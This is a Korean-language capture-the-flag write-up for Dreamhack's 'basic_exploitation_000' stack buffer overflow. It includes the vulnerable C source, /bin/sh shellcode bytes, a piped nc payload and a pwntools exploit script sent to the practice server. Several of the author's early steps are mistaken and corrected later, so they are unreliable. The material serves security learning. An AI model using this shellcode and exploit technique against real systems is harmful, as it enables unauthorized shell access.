basic_exploitation_000

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

버퍼 80만 잡았는데 scanf 141까지 받음
buf의 주소 출력도 해줌
뭔 함수 가져오지?
아 buf에 80바이트 이내 쉘코드 제작 -> sfp 더미값 -> buf 주소로 반환
80+4(32비트였던 거 같음)+

익스플로잇 과정이 뭐였지

  1. 스택프레임 파악
  2. 함수 주소 구하기, 페이로드 작성
  3. 리틀 엔디언
  4. 익스플로잇

이 워게임에서는

  1. print 함수 내에서 buf 주소값 알기
  2. 스택프레임 파악
  3. 쉘코드 제작, 리틀 엔디언, 페이로드 작성
  4. 익스플로잇

해주면 될듯…?

아래는 라이트업
1. print 함수 내에서 buf 주소값 알기

print 함수 내에서 buf 주소값 알기

이부분이 print 호출

print 호출

0x80머시기는 출력 문자열
printf(“buf머시기%p”,ebp-0x80)인듯
buf 주소 ebp-0x80에 적혀있나봄

스택 상황

print call 중단점 걸고 스택 상황을 봤음
맨 위는 문자열이니까 넘기고 그 아래 0xffffd1f8이 buf를 가리키는듯

2. 스택 프레임 파악

스택 프레임 파악

scanf 부분
근데 add esp, 0x8이 뭘 의미하는거임? <- stdcall 호출규약때문… cdecl만 하고 stdcall 대충 했더니 ㅡㅡ;;
이게 sfp인가? 아까 x86-64는 sfp 4바이트라고 하지 않았나?
일단 buf는 80 바이트
스택 정리하면 다음과 같음

   
buf(0x80) 이걸 scanf  
sfp 0x4  
ret  

3. 쉘코드 제작, 리틀 엔디언, 페이로드 작성
쉘코드 만들어줘야함
25바이트 쉘코드 가져옴
25바이트 쉘코드+55바이트더미+8더미+4더미+ ffffd1f8
ffffd1f8 리틀 엔디언으로 고쳐주면 \xf8\xd1\xff\xff\x00\x00\x00\x00

b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'+b'A'*0x55+b'B'*0x8+b'C'*0x4+x'\xf8\xd1\xff\xff\x00\x00\x00\x00'

4. 익스플로잇

(python3 -c "import sys; sys.stdout.buffer.write( b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'+b'A'*0x55+b'B'*0x8+b'C'*0x4+b'\xf8\xd1\xff\xff\x00\x00\x00\x00' )"; cat) | nc host3.dreamhack.games 20371

에러 뜸
나보고 어쩌라고
b를 x로 오타냄
고쳐봄
안됨
페이로드를 잘못쓴건가

다른 라이트업을 참고하여 알아보자…
아 일단 0x4바이트인 것은 sfp뿐만 아니라 ret도 8바이트가 아닌 4바이트로 해줘야 함(뒤에 \x00 넣을 필요 없다는 뜻)

scanf가 읽지 못하는 hex들이 있음 -> r공백 문자들
\x09, \x0a, \x0b, \x0c, \x0d, \x20
scanf 우회 쉘코드 찾아야 함

from pwn import *

p=remote('host3.dreamhack.games',17880)
context.log_level='debug'

p.recvuntil(b'buf = (')
addr = int(p.recvline()[:-2], 16)

payload=b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'
payload+=b'A'* (0x88-len(payload)-0x4)
payload+=p32(addr) 

p.sendline(payload) 
p.interactive()

익스플로잇 결과